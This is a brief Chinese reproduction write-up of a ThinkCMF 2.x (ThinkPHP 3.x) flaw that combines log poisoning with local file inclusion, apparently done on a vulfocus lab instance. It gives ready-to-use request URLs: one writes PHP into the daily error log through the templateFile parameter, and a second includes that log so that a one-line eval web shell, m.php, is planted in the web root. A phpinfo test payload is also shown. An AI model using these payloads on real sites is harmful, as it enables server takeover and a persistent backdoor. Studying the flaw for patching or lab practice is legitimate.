漏洞复现

	<http://vulfocus.fofa.so:38670/index.php?a=display&templateFile=README.md&content=%3C?php%20phpinfo();die()>;

Untitled

由于thinkcmf2.x使用了thinkphp3.x作为开发框架,默认情况下启用了报错日志并且开启了模板缓存,导致可以使用加载一个不存在的模板来将生成一句话的PHP代码写入data/runtime/Logs/Portal目录下的日志文件中,再次包含该日志文件即可在网站根目录下生成一句话木马m.php

日志文件格式为YY_MM_DD.log,如当前日期为2019年12月12日,日志文件为19_12_12.log,完整路径为

data/runtime/Logs/Portal/19_12_12.log

首先访问:

/?a=display&templateFile=%3C?php%20file_put_contents(%27m.php%27,%27%3C%3fphp+eval($_POST[%22X%22])%3b%3F%3E%27);die();?%3E

转义下:

/?a=display&templateFile=<?php file_put_contents('m.php','<?php eval($_POST["X"]);?>');die();?>

Untitled

然后请求

/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log

当天的日期:

/?a=display&templateFile=data/runtime/Logs/Portal/21_11_25.log

可以看到文件包含进来了。

Untitled

这样会在网站根目录下生成一个m.php一句话文件。

Untitled


这种页面表示有漏洞。

Untitled